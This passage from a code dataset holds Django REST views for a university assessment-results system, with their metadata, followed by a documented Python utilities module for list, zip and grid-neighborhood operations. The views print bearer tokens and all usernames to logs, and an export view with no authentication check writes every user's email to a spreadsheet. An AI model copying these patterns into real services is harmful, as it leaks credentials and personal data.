Token.objects.get(pk=token).user\n    print(\"username: {}\".format(user))\n    return user\n\n\ndef get_lecturer_from_user(user):\n    lecturer = Lecturer.objects.get(lecturer=user)\n    print(\"lecturer role: {}\".format(lecturer.role))\n    return lecturer\n\n\ndef get_lecturer_name(lecturer):\n    lecturer_first_name = lecturer.lecturer.first_name\n    lecturer_last_name = lecturer.lecturer.last_name\n    print(\"lecturer name: {} {}\".format(\n        lecturer_first_name, lecturer_last_name))\n    return \"{} {}\".format(lecturer_first_name, lecturer_last_name)\n\n\ndef get_courses_assigned_to_a_lecturer(lecturer):\n    lecturer_course = Lecture_Course.objects.filter(lecturer=lecturer)\n    print('lecturer course: {}'.format(lecturer_course))\n    courses = get_list_of_courses_for_a_lecturer(lecturer_course)\n    print(\"number of courses assigned to {}: {}\".format(\n        get_lecturer_name(lecturer), len(courses)))\n    print(courses)\n    return courses\n\n\ndef get_list_of_courses_for_a_lecturer(list_of_lecturer_course_instance):\n    courses = []\n\n    for lecturer_course_instance in list_of_lecturer_course_instance:\n        courses.append(\n            {\n                \"course_code\": lecturer_course_instance.course.course_code,\n                \"course_description\": lecturer_course_instance.course.course_name\n            }\n        )\n    return courses\n\n\ndef get_courses_as_list(token):\n    user = get_user_from_token(token)\n    lecturer = get_lecturer_from_user(user)\n    courses = get_courses_assigned_to_a_lecturer(lecturer)\n\n    courses_list = []\n    for course in courses:\n        courses_list.append(course[\"course_code\"])\n\n    return courses_list\n\n#\n#\n# lecturer details api\n#\n#\n\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef lecturer_details(request):\n    usernames = [user.username for user in User.objects.all()]\n    print(\"token from request header: {}\".format(\n        request.META.get('HTTP_AUTHORIZATION')))\n    authorization_token = request.META.get('HTTP_AUTHORIZATION')\n    token = authorization_token[6:]\n\n    try:\n        user = get_user_from_token(token)\n        lecturer = get_lecturer_from_user(user)\n        lecturer_name = get_lecturer_name(lecturer)\n        courses = get_courses_assigned_to_a_lecturer(lecturer)\n\n        return Response({\n            \"user_name\": lecturer.lecturer.username,\n            \"lecturer_name\": lecturer_name,\n            \"courses_teaching\": courses,\n            \"course_count\": len(courses),\n            \"position\": lecturer.role.role_name,\n        })\n    except ObjectDoesNotExist as error:\n        print(\"no lecturer with such credentials\")\n        print(\"error message: {}\".format(error))\n\n    print(\"usernames: {}\".format(usernames))\n\n    return Response(\"Nothing to show\")\n\n#\n#\n# end lecturer api\n#\n#\n\n\n#\n#\n# assessment results api\n#\n#\n\n@api_view([\"GET\", \"POST\"])\n@permission_classes([IsAuthenticated])\ndef assessment_results(request):\n    authorization_token = request.META.get('HTTP_AUTHORIZATION')\n    token = authorization_token[6:]\n\n    if request.method == 'GET':\n        try:\n            courses_list = get_courses_as_list(token)\n            assessments = Assessment.objects.filter(course__in=courses_list)\n            assessment_results = Assessment_Results.objects.filter(\n                assessment__in=assessments)\n            serializer = AssessmentResultsSerializer(\n                assessment_results, many=True)\n            return Response(serializer.data)\n\n        except ObjectDoesNotExist as error:\n            print(\"error message: {}\".format(error))\n\n    elif request.method == \"POST\":\n        serializer = AssessmentResultsSerializer(data=request.data)\n\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"PUT\"])\n@permission_classes([IsAuthenticated])\ndef assessment_results_update(request, pk):\n    try:\n        assessment_result = Assessment_Results.objects.get(pk=pk)\n    except Assessment_Results.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n\n    serializer = AssessmentResultsSerializer(\n        assessment_result, data=request.data)\n\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data)\n    return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n#\n#\n# end assessment results api\n#\n#\n\n\n#\n#\n# assessment details api\n#\n#\n\n\n@api_view([\"GET\", \"POST\"])\n@permission_classes([IsAuthenticated])\ndef assessment_details(request):\n    authorization_token = request.META.get('HTTP_AUTHORIZATION')\n    token = authorization_token[6:]\n\n    if request.method == 'GET':\n        try:\n            user = get_user_from_token(token)\n            lecturer = get_lecturer_from_user(user)\n            courses = get_courses_assigned_to_a_lecturer(lecturer)\n\n            courses_list = []\n            for course in courses:\n                courses_list.append(course[\"course_code\"])\n\n            assessments = Assessment.objects.filter(course__in=courses_list)\n            serializer = AssessmentSerializer(assessments, many=True)\n            return Response(serializer.data)\n\n        except ObjectDoesNotExist as error:\n            print(\"error message: {}\".format(error))\n\n    elif request.method == \"POST\":\n        serializer = AssessmentSerializer(data=request.data)\n\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"PUT\", \"DELETE\"])\n@permission_classes([IsAuthenticated])\ndef assessment_details_update_delete(request, pk):\n    try:\n        assessment = Assessment.objects.get(pk=pk)\n    except Assessment.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n\n    if request.method == \"DELETE\":\n        assessment.delete()\n        return Response({\"message\": \"deleted successfully\", \"verified_by\": \"django\"}, status=status.HTTP_204_NO_CONTENT)\n\n    elif request.method == 'PUT':\n        serializer = AssessmentSerializer(assessment, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n#\n#\n# end assessment details api\n#\n#\n\n\ndef export_users_xls(request):\n    response = HttpResponse(content_type='application/ms-excel')\n    response['Content-Disposition'] = 'attachment; filename=\"users.xls\"'\n\n    wb = xlwt.Workbook(encoding='utf-8')\n    ws = wb.add_sheet('Users Data')  # this will make a sheet named Users Data\n\n    # writing the first row\n    alignment = xlwt.Alignment()\n    alignment.horz = xlwt.Alignment.HORZ_CENTER\n    look = xlwt.Font()\n    look.bold = True\n    horz_style = xlwt.XFStyle()\n    horz_style.alignment = alignment\n    horz_style.font = look\n\n    top_row = 1\n    bottom_row = 1\n    left_column = 0\n    right_column = 3\n    ws.write_merge(top_row, bottom_row, left_column, right_column,\n                   'UNIVERSITY OF DAR ES SALAAM', horz_style)\n    # end of first row\n\n    # writing the second row\n    alignment = xlwt.Alignment()\n    alignment.horz = xlwt.Alignment.HORZ_CENTER\n    look = xlwt.Font()\n    look.bold = False\n    horz_style = xlwt.XFStyle()\n    horz_style.alignment = alignment\n    horz_style.font = look\n\n    top_row = 3\n    bottom_row = 3\n    left_column = 0\n    right_column = 3\n    ws.write_merge(top_row, bottom_row, left_column, right_column, 'SUMMARY OF RESULTS (PAPERS/COURSES/PRACTICAL/ORAL)',\n                   horz_style)\n    # end of second row\n\n    # writing programme\n    row_num = 5\n    col_num = 0\n    ws.write(row_num, col_num, \"CEIT\", xlwt.XFStyle())\n    # end of writing programme\n\n    # writing year of study\n    row_num = 5\n    col_num = 2\n    ws.write(row_num, col_num, \"YEAR OF STUDY\", xlwt.XFStyle())\n    # end of writing year of study\n    #\n    # writing year of study value\n    row_num = 5\n    col_num = 3\n    style = xlwt.XFStyle()\n    bold_style = xlwt.Font()\n    bold_style.bold = True\n    style.font = bold_style\n    style.alignment = alignment\n    ws.write(row_num, col_num, \"III\", style)\n    # end of writing year of study value\n\n    # Sheet header, first row\n    row_num = 10\n\n    font_style = xlwt.XFStyle()\n    font_style.font.bold = True\n\n    columns = ['Username', 'First Name', 'Last Name', 'Email Address', ]\n\n    for col_num in range(len(columns)):\n        cwidth = ws.col(col_num).width\n        if (len(columns[col_num]) * 367) > cwidth:\n            ws.col(col_num).width = (len(columns[col_num]) * 367)\n        # at 0 row 0 column\n        ws.write(row_num, col_num, columns[col_num], font_style)\n\n    # Sheet body, remaining rows\n    font_style = xlwt.XFStyle()\n\n    rows = User.objects.all().values_list(\n        'username', 'first_name', 'last_name', 'email')\n    for row in rows:\n        row_num += 1\n        for col_num in range(len(row)):\n            ws.write(row_num, col_num, row[col_num], font_style)\n\n    wb.save(response)\n\n    context = {}\n\n    return render(request, 'backendapi/excel_home.html', context)\n", "repo_name": "patrick-simon045/scamtis", "sub_path": "newBackend/backendapi/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 10415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 19, "usage_type": "name"}, {"api_name": "serializers.ResultSerializer", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ReadOnlyModelViewSet", "line_number": 25, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 25, "usage_type": "name"}, {"api_name": "serializers.CA_ItemSerializer", "line_number": 27, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.authtoken.models.Token.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 32, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 95, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 95, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 95, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 107, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 114, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 120, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 92, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 93, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 93, "usage_type": "name"}, {"api_name": "serializers.AssessmentResultsSerializer", "line_number": 147, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 149, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 151, "usage_type": "name"}, {"api_name": "serializers.AssessmentResultsSerializer", "line_number": 155, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 159, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 159, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 159, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 161, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 161, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 161, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 135, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 136, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 136, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 170, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 170, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 170, "usage_type": "name"}, {"api_name": "serializers.AssessmentResultsSerializer", "line_number": 172, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 177, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 178, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 178, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 178, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 164, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 165, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 165, "usage_type": "name"}, {"api_name": "serializers.AssessmentSerializer", "line_number": 211, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 212, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 214, "usage_type": "name"}, {"api_name": "serializers.AssessmentSerializer", "line_number": 218, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 222, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 222, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 222, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 224, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 224, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 224, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 194, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 195, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 195, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 233, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 233, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 233, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 237, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 237, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 237, "usage_type": "name"}, {"api_name": "serializers.AssessmentSerializer", "line_number": 240, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 243, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 244, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 244, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 244, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 227, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 228, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 228, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 254, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 257, "usage_type": "call"}, {"api_name": "xlwt.Alignment", "line_number": 261, "usage_type": "call"}, {"api_name": "xlwt.Alignment", "line_number": 262, "usage_type": "attribute"}, {"api_name": "xlwt.Font", "line_number": 263, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 265, "usage_type": "call"}, {"api_name": "xlwt.Alignment", "line_number": 278, "usage_type": "call"}, {"api_name": "xlwt.Alignment", "line_number": 279, "usage_type": "attribute"}, {"api_name": "xlwt.Font", "line_number": 280, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 282, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 297, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 303, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 309, "usage_type": "call"}, {"api_name": "xlwt.Font", "line_number": 310, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 320, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 333, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 335, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 335, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 335, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 346, "usage_type": "call"}]}
{"seq_id": "45402588762", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module provides *general* utility functions used by the **grains** package. The specific\nhelper functions reside in the proper module. For example, a function that works on a general\nlist goes here, but a computational geometry algorithm goes to the **geometry** module. The\nfunctions in the **utils** module can be interesting for other projects too, partly because of\ntheir general scope, and partly because of the few dependencies.\n\nFunctions\n---------\n.. autosummary::\n    :nosignatures:\n    :toctree: functions/\n\n    duplicates\n    toggle\n    index_list\n    flatten_list\n    argsorted\n    map_inplace\n    non_unique\n    parse_kwargs\n    compress\n    decompress\n    decompress_inmemory\n    neighborhood\n\n\"\"\"\n\nimport os\nimport zipfile\nfrom functools import reduce\n\nimport numpy as np\n\n\ndef duplicates(sequence):\n    \"\"\"Set of duplicate elements in a sequence.\n\n    Parameters\n    ----------\n    sequence : sequence types (list, tuple, string, etc.)\n        Sequence possibly containing repeating elements.\n\n    Returns\n    -------\n    set\n        Set of unique values.\n\n    Notes\n    -----\n    Copied from https://stackoverflow.com/a/9836685/4892892\n\n    Examples\n    --------\n    Note that the order of the elements in the resulting set does not matter.\n\n    >>> a = [1, 2, 3, 2, 1, 5, 6, 5, 5, 5]  # list\n    >>> duplicates(a)\n    {1, 2, 5}\n    >>> a = (1, 1, 0, -1, -1, 0)  # tuple\n    >>> duplicates(a)\n    {0, 1, -1}\n    >>> a = 'abbcdkc'  # string\n    >>> duplicates(a)\n    {'c', 'b'}\n    \"\"\"\n    seen = set()\n    seen_add = seen.add\n    # adds all elements it doesn't know yet to seen and all other to seen_twice\n    seen_twice = set(x for x in sequence if x in seen or seen_add(x))\n    # turn the set into a list (as requested)\n    return seen_twice\n\n\ndef toggle(lst):\n    \"\"\"Return True for False values and False for True values in a list.\n\n    Parameters\n    ----------\n    lst : list\n        An arbitrary list, possibly containing other lists.\n\n    Returns\n    -------\n    list\n        Element-wise logical not operator applied on the input list.\n\n    Notes\n    -----\n    Solution taken from https://stackoverflow.com/a/51122372/4892892.\n\n    Examples\n    --------\n    >>> toggle([True, False])\n    [False, True]\n    >>> toggle(['h', 0, 2.3, -2, 5, []])\n    [False, True, False, False, False, True]\n\n    \"\"\"\n    return list(map(lambda item: not item, lst))\n\n\ndef index_list(lst, indices):\n    \"\"\"Index a list by another list.\n\n    Parameters\n    ----------\n    lst : list\n        List to be indexed.\n    indices : list\n        Indices of the original list that will form the new list.\n\n    Returns\n    -------\n    list\n        Members of `lst`, selected by `indices`.\n\n    Examples\n    --------\n    >>> index_list(['c', ['nested', 'list'], 13], [1, 2])\n    [['nested', 'list'], 13]\n\n    \"\"\"\n    return [lst[idx] for idx in indices]\n\n\ndef flatten_list(nested_list):\n    \"\"\"Merge a list of lists to a single list.\n\n    Parameters\n    ----------\n    nested_list : list\n        List containing other lists.\n\n    Returns\n    -------\n    list\n        Flattened list.\n\n    Notes\n    -----\n    - Only a single level (i.e. list of lists) is handled, see the second example.\n    - Several methods, such as list comprehension, monoid and loops, are proposed in\n      https://stackoverflow.com/questions/952914/how-to-make-a-flat-list-out-of-list-of-lists.\n      Here, the list comprehension approach is used.\n\n    Examples\n    --------\n    >>> nested_list = [['some'], ['items']]\n    >>> flatten_list(nested_list)\n    ['some', 'items']\n    >>> multiply_nested_list = [[['item'], 'within', 'item']]\n    >>> flatten_list(multiply_nested_list)\n    [['item'], 'within', 'item']\n\n    \"\"\"\n    return [item for sublist in nested_list for item in sublist]\n\n\ndef argsorted(sequence, reverse=False):\n    \"\"\"Return the indices that would sort a list or a tuple.\n\n    Implementation is taken from https://stackoverflow.com/a/6979121/4892892.\n\n    Parameters\n    ----------\n    sequence : list, tuple\n        Input sequence in which the sorted indices to be found.\n    reverse : bool\n        If set to True, then the elements are sorted as if each comparison was reversed.\n\n    Returns\n    -------\n    list\n        List of indices that would sort the input list/tuple.\n\n    See Also\n    --------\n    :func:`sorted`\n    :func:`numpy.argsort`\n\n    Examples\n    --------\n    >>> argsorted([2, 1.1, 1.1])\n    [1, 2, 0]\n    >>> argsorted([2, 1.1, 1.1], reverse=True)\n    [0, 1, 2]\n    >>> argsorted(())\n    []\n\n    \"\"\"\n    return sorted(range(len(sequence)), key=lambda k: sequence[k], reverse=reverse)\n\n\ndef map_inplace(function, __iterable):\n    \"\"\"Apply a function to each member of an iterable in-place.\n\n    Parameters\n    ----------\n    function : function object\n        Function to be applied to the entries of the iterable.\n    __iterable : iterable\n        Iterable.\n\n    Notes\n    -----\n    Comprehensions or functional tools work on iterators, thereby not modifying the original\n    container (https://stackoverflow.com/a/4148523/4892892). For in-place modification, the\n    conventional for loop approach is used (https://stackoverflow.com/a/4148525/4892892).\n\n    Examples\n    --------\n    >>> lst = ['2', 2]; func = lambda x: x*2\n    >>> map_inplace(func, lst); lst\n    ['22', 4]\n    >>> lifespan = {'cat': 15, 'dog': 12}; die_early = lambda x: x/2\n    >>> map_inplace(die_early, lifespan); lifespan\n    {'cat': 7.5, 'dog': 6.0}\n\n    \"\"\"\n    if type(__iterable) == dict:\n        for key, value in __iterable.items():\n            __iterable[key] = function(value)\n    else:\n        for i in range(len(__iterable)):\n            __iterable[i] = function(__iterable[i])\n\n\ndef non_unique(array, axis=None):\n    \"\"\"Finds indices of non-unique elements in a 1D or 2D ndarray.\n\n    Parameters\n    ----------\n    array : ndarray\n        Array in which the non-unique elements are searched.\n    axis : {None, 0, 1}, optional\n        The axis to operate on. If None, `array` will be flattened. If an integer, the subarrays\n        indexed by the given axis will be flattened and treated as the elements of a 1-D array with\n        the dimension of the given axis. Object arrays or structured arrays that contain objects are\n        not supported if the `axis` kwarg is used. The default is None.\n\n    Returns\n    -------\n    nonunique_values : list\n        Unique (individual, row or column) entries.\n    nonunique_indices : list\n        Each element of the list corresponds to non-unique elements, whose indices are given in\n        a 1D numpy array.\n\n    Examples\n    --------\n    In a 1D array, the repeated values and their indices are found by\n\n    >>> val, idx = non_unique(np.array([1, -1, 0, -1, 2, 5, 0, -1]))\n    >>> val\n    [-1, 0]\n    >>> idx\n    [array([1, 3, 7]), array([2, 6])]\n\n    In the matrix below, we can see that rows 0 and 2 are identical, as well as rows 1 and 4.\n\n    >>> val, idx = non_unique(np.array([[1, 3], [2, 4], [1, 3], [-1, 0], [2, 4]]), axis=0)\n    >>> val\n    [array([1, 3]), array([2, 4])]\n    >>> idx\n    [array([0, 2]), array([1, 4])]\n\n    By transposing the matrix above, the same holds for the columns.\n\n    >>> val, idx = non_unique(np.array([[1, 2, 1, -1, 2], [3, 4, 3, 0, 4]]), axis=1)\n    >>> val\n    [array([1, 3]), array([2, 4])]\n    >>> idx\n    [array([0, 2]), array([1, 4])]\n\n    If the dimensions along which to find the duplicates are not given, the input is flattened\n    and the indexing happens in C-order (row-wise).\n\n    >>> val, idx = non_unique(np.array([[1, 2, 1, -1, 2], [3, 4, 3, 0, 4]]))\n    >>> val\n    [1, 2, 3, 4]\n    >>> idx\n    [array([0, 2]), array([1, 4]), array([5, 7]), array([6, 9])]\n\n    \"\"\"\n    if axis not in {None, 0, 1}:\n        raise Exception('Parameter `axis` must be one of the following: None, 0, 1.')\n    # Indices of the repeated elements\n    _, idx, counts = np.unique(array, axis=axis, return_counts=True, return_inverse=True)\n    distinct_indices = np.unique(idx)\n    repeated_indices = distinct_indices[counts > 1]\n    # Help in consistent indexing\n    if axis is None:\n        array = array.flatten()\n    elif axis == 0:\n        pass\n    elif axis == 1:\n        array = array.T\n    # Find the repeated values and their positions at the same time\n    nonunique_indices = []\n    nonunique_values = []\n    for i in repeated_indices:\n        nonunique_indices.append(np.nonzero(idx == i)[0])\n        nonunique_values.append(array[idx == i][0])\n    return nonunique_values, nonunique_indices\n\n\ndef parse_kwargs(kwargs, defaults):\n    \"\"\"Compares keyword arguments with defaults.\n\n    Allows processing keyword arguments supplied to a function by the user by comparing them with\n    an admissible set of options defined by the developer. There are three cases:\n\n        1. The keyword given by the user is present in the set the developer provides. Then the\n        value belonging to the keyword overrides the default value.\n\n        2. The keyword given by the user is `not` present in the set the developer provides. In\n        this case, the unrecognized keyword, along with its value, is saved separately.\n\n        3. The keyword existing in the set the developer provides is not given by the user. Then\n        the default value is used.\n\n    Parameters\n    ----------\n    kwargs : dict\n        Keyword arguments (parameter-value pairs) passed to a function.\n    defaults : dict\n        Default parameter-value pairs.\n\n    Returns\n    -------\n    parsed : dict\n        Dictionary with the same keys as :code:`defaults`, the parsed parameter-value pairs.\n    unknown : dict\n        Dictionary containing the parameter-value pairs not present in :code:`defaults`.\n\n    Notes\n    -----\n    The default values, given in the input dictionary :code:`defaults`, are never overwritten.\n\n    Examples\n    --------\n    >>> default_options = {'opt1': 1, 'opt2': 'string', 'opt3': [-1, 0]}\n    >>> user_options = {'opt3': [2, 3, -1], 'opt2': 'string',  'opt4': -2.14}\n    >>> parsed_options, unknown_options = parse_kwargs(user_options, default_options)\n    >>> parsed_options\n    {'opt1': 1, 'opt2': 'string', 'opt3': [2, 3, -1]}\n    >>> unknown_options\n    {'opt4': -2.14}\n\n    \"\"\"\n    parsed = defaults.copy()\n    unknown = {}\n    for param, value in kwargs.items():\n        if param in defaults:\n            parsed[param] = value\n        else:\n            unknown[param] = value\n    return parsed, unknown\n\n\ndef compress(filename, level=9):\n    \"\"\"Creates a zip archive from a single file.\n\n    Parameters\n    ----------\n    filename : str\n        Name of the file to be compressed.\n    level : int, optional\n        Level of compression. Integers 0 through 9 are accepted. The default is 9.\n\n    Returns\n    -------\n    None.\n\n    See Also\n    --------\n    :class:`zipfile.ZipFile`\n\n    \"\"\"\n    name = os.path.splitext(filename)[0]\n    output_file = name + '.zip'\n    zip_options = dict(compression=zipfile.ZIP_DEFLATED, compresslevel=level)\n    with zipfile.ZipFile(output_file, mode='w', **zip_options) as compressed:\n        compressed.write(filename)\n\n\ndef decompress(filename, path=None):\n    \"\"\"Decompresses the contents of a zip archive into the current directory.\n\n    Parameters\n    ----------\n    filename : str\n        Name of the zip archive.\n\n    path : str, optional\n        Directory to extract to. The default is the directory the function is called from.\n\n    See Also\n    --------\n    :class:`zipfile.ZipFile`\n\n    \"\"\"\n    with zipfile.ZipFile(filename, mode='r') as compressed:\n        compressed.extractall(path=path)\n\n\ndef decompress_inmemory(filename):\n    \"\"\"Decompresses the contents of a zip archive into a dictionary.\n\n    Parameters\n    ----------\n    filename : str\n        Name of the zip archive.\n\n    Returns\n    -------\n    data : dict\n        The keys of the dictionary are the compressed file names (without extension),\n        the corresponding values are their contents.\n\n    See Also\n    --------\n    :class:`zipfile.ZipFile`\n\n    \"\"\"\n    data = {}\n    with zipfile.ZipFile(filename, mode='r') as compressed:\n        for file in compressed.namelist():\n            with compressed.open(file, mode='r') as thisfile:\n                name = os.path.splitext(thisfile.name)[0]\n                data[name] = compressed.read(thisfile.name).decode()\n    return data\n\n\ndef neighborhood(center, radius, norm, method='ball', bounds=None):\n    r\"\"\"Neighboring points to a grid point.\n\n    Given a point in a subspace of :math:`\\mathbb{Z}^n`, the neighboring points are determined\n    based on the specified rules.\n\n    .. todo::\n        Currently, the neighbors are deterministically but not systematically ordered.\n        Apart from testing purposes, this does not seem to be a big issue.\n        Still, a logical ordering is desirable. E.g. ordering in increasing coordinate values,\n        first in the first dimension and lastly in the last dimension.\n\n    Parameters\n    ----------\n    center : tuple of int\n        Point :math:`x_0` around which the neighborhood is searched. It must be an n-tuple of\n        integers, where :math:`n` is the spatial dimension.\n    radius : int, positive\n        Radius of the ball or sphere in which the neighbors are searched.\n        If the radius is 1, the immediate neighbors are returned.\n    norm : {1, inf}\n        Type of the vector norm :math:`\\| x - x_0 \\|`, where :math:`x` is a point whose\n        distance is searched from the center :math:`x_0`.\n\n        =========   ============   =========================================================\n        Type        Name           Definition\n        =========   ============   =========================================================\n        1           1-norm         :math:`\\| x \\|_1 = \\sum_{i=1}^n |x_i|`\n        numpy.inf   maximum norm   :math:`\\| x \\|_{\\infty} = \\max\\{ |x_1|, \\ldots, |x_n| \\}`\n        =========   ============   =========================================================\n\n        where inf means numpy's np.inf object.\n    method : {'ball', 'sphere'}, optional\n        Specifies the criterion of how to decide whether a point :math:`x` is in the neighborhood\n        of :math:`x_0`. The default is 'ball'.\n\n        For 'ball':\n\n        .. math::\n            \\| x - x_0 \\| \\leq r\n\n        For 'sphere':\n\n        .. math::\n            \\| x - x_0 \\| = r\n\n        where :math:`r` is the radius passed as the :code:`radius` parameter and the type of the\n        norm is taken based on the :code:`norm` input parameter.\n    bounds : list of tuple, optional\n        Restricts the neighbors within a box. The dimensions of the n-dimensional box are given\n        as a list of 2-tuples: [(x_1_min, x_1_max), ... , (x_n_min, x_n_max)]. The default value\n        is an unbounded box in all dimensions. Use np.inf to indicate unbounded values.\n\n    Returns\n    -------\n    neighbors : tuple of ndarray\n        Tuple of length n, each entry being a 1D numpy array: the integer indices of the points\n        that are in the neighborhood of :code:`center`.\n\n\n    Notes\n    -----\n    1. The `von Neumann neighborhood <https://mathworld.wolfram.com/vonNeumannNeighborhood.html>`_\n    with range :math:`r` is a special case when :code:`radius=r`, :code:`norm=1` and\n    :code:`method='ball'`.\n\n    2. The `Moore neighborhood <https://mathworld.wolfram.com/MooreNeighborhood.html>`_\n    with range :math:`r` is a special case when :code:`radius=r`, :code:`norm=np.inf` and\n    :code:`method='ball'`.\n\n    Examples\n    --------\n    Find the Moore neighborhood with range 2 the point (1) on the half-line [0, inf).\n\n    >>> neighborhood((1,), 2, np.inf, bounds=[(0, np.inf)])\n    (array([0, 1, 2, 3]),)\n\n    Find the von Neumann neighborhood with range 2 around the point (2, 2), restricted on\n    the domain [0, 4] x [0, 3].\n\n    >>> neighborhood((2, 2), 2, 1, bounds=[(0, 4), (0, 3)])\n    (array([2, 1, 2, 3, 0, 1, 2, 3, 4, 1, 2, 3]), array([0, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3]))\n\n    Find the Moore neighborhood with range 1 around the point (0, -4) such that the 